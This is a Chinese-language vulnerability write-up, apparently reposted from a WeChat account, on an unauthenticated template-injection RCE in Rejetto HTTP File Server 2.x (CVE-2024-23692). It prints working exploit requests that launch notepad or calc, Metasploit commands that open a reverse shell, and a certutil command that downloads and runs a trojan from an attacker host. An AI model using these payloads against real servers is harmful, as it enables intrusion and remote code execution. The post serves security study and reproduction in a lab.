Rejetto HTTP File Server 未授权RCE(CVE-2024-23692)

admin 2024年7月10日14:08:44评论67 views字数 3114阅读10分22秒阅读模式
申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关。

0x00 介绍

Rejetto HTTP File Server(HFS)是一个简单易用的文件服务器软件,用户可以通过直观的 web 界面来管理文件和目录的共享。官网地址:https://www.rejetto.com/hfs/

0x01 漏洞概述

Rejetto HTTP 文件服务器 (HFS) 2.x 版本存在未经身份验证的服务器端模板注入 (SSTI) 漏洞。未经身份验证的远程攻击者可以以运行服务器进程 HFS.exe 的用户帐户的权限执行代码。已确认该漏洞对2.4.0 RC7和2.3m版本有效。维护人员不再支持 Rejetto HTTP 文件服务器 (HFS) 版本 2.x,并且没有可用的补丁。建议用户升级到版本 3.x。

0x02 技术细节

Rejetto HFS 是一个曾经流行的 Windows 网络服务器,于 2002 年 8 月首次发布。它有自己的模板解析器,是同类中最古老的解析器之一。

以下细节来源于https://attackerkb.com/topics/d9AVVdmNhH/cve-2024-23692,作者是国外安全研究员sfewer-r7,本人只是做了点小小的翻译工作。

服务器在呈现 HTTP 响应的内容时使用默认模版(https://github.com/rejetto/hfs2/blob/v2.4-rc07/default.tpl)。此模板在呈现时将包含请求的search查询参数的内容。正是这个search查询参数让我们提供了一个无法正确转义的值,最终导致 SSTI 漏洞。

在正常操作下,任何用户提供的内容都将被转义,因此任何正常编码为%symbol-name%的符号和任何正常编码为{:macro-name:}的宏都将被转义以防止 SSTI。

但是,我们可以强制百分号不转义。这样我们就可以在正在处理的内容中嵌入任何符号。我们可以通过序列%25x%25symbol-name%25来实现这一点。

我们可以利用这一点来强制%url%(https://github.com/rejetto/hfs2/blob/v2.4-rc07/scriptLib.pas#L1709)符号不转义。当服务器处理%url%符号时,它会将 URL 的其余部分回显到服务器端内容中。通过在HTTP请求中强制URL的其余部分不进行正确的 URL 编码,我们现在可以包含诸如 %}之类的字符。

要注入任意宏,我们首先需要通过编写意料之外的MARKER_UNQUOTE(:}) 序列来闭合默认模板MARKER_QUOTE序列 ({:)(https://github.com/rejetto/hfs2/blob/master/parserLib.pas#L16),但这仍将被过滤。要绕过此过滤,我们可以利用符号%host%(https://github.com/rejetto/hfs2/blob/v2.4-rc07/scriptLib.pas#L1701)和空的主机标头值。因此:%host%}将变为:},并且这不会被转义。由此,我们可以执行包含我们想要的任何 HFS 符号或宏序列的任意模板注入。

最后,我们可以使用exec(https://github.com/rejetto/hfs2/blob/v2.4-rc07/scriptLib.pas#L2313)宏来执行任意操作系统命令。由于默认模板会多次处理search查询参数,因此我们可以通过发出一个会停止所有处理的break(https://github.com/rejetto/hfs2/blob/v2.4-rc07/scriptLib.pas#L2038)宏来避免多次执行命令。如下所示:

$ echo -ne "GET /?search=%25x%25url%25:%host%}{.exec|notepad.}{.break.} HTTP/1.1rnHost:rnrn" | nc 192.168.86.35 80

0x03 漏洞复现

1.环境搭建

我这里下载的是2.4.0 RC7版本,github地址:https://github.com/rejetto/hfs2/releases

windows中双击运行即可:

Rejetto HTTP File Server 未授权RCE(CVE-2024-23692)

浏览器中访问:

Rejetto HTTP File Server 未授权RCE(CVE-2024-23692)

2.POC复现

GET /?search=%25x%25url%25:%host%}{.exec|calc.}{.break.} HTTP/1.1Host: Content-Length: 2

windows中立即弹出计算器:

Rejetto HTTP File Server 未授权RCE(CVE-2024-23692)

3.GetShell

漏洞复现,不考虑免杀,关闭windows defender(狗头)

sfewer-r7已经写好了利用模块集成到MSF中了,在kali中更新下MSF:

sudo apt-get updatesudo apt-get install metasploit-framework

使用模块进行攻击:

search cve_2024_23692use exploit/windows/http/rejetto_hfs_rce_cve_2024_23692set rhosts 10.211.55.4set rport 80set lhost 10.211.55.3set lport 12345checkexploit

获取到shell:

Rejetto HTTP File Server 未授权RCE(CVE-2024-23692)

getshell的payload长啥样的,可以在msf中设置代理为本机burp:

set proxies http:10.211.55.2:8080set ReverseAllowProxy trueexploit

Rejetto HTTP File Server 未授权RCE(CVE-2024-23692)

然后可以在burp的HTTP history中看到getshell的payload:

Rejetto HTTP File Server 未授权RCE(CVE-2024-23692)

这里应该是ascii编码了,不过没关系,想知道发送的命令是什么还可以在msf中设置set verbose true

Rejetto HTTP File Server 未授权RCE(CVE-2024-23692)

发送的命令是使用certutil下载马子到temp目录并执行

certutil -urlcache -f http://10.211.55.3:8080/svV0vNI4NF9vi-N81ZMxRw %TEMP%cOhyrEEARZx.exe & start /B %TEMP%cOhyrEEARZx.exe

详细代码请看:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/rejetto_hfs_rce_cve_2024_23692.rb

0x04 总结

该漏洞的原作者是Arseniy Sharoglazov,从原作者的博客中(https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/)我们可以看到sfewer-r7分析出来的payload和原作者的不太一样:

Rejetto HTTP File Server 未授权RCE(CVE-2024-23692)

原作者的payload网上我没找到,这个漏洞就先这样吧~

参考:

https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/

https://attackerkb.com/topics/d9AVVdmNhH/cve-2024-23692

https://github.com/rapid7/metasploit-framework/pull/19240

如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~

原文始发于微信公众号(沃克学安全):Rejetto HTTP File Server 未授权RCE(CVE-2024-23692)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月10日14:08:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Rejetto HTTP File Server 未授权RCE(CVE-2024-23692)https://cn-sec.com/archives/2936799.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息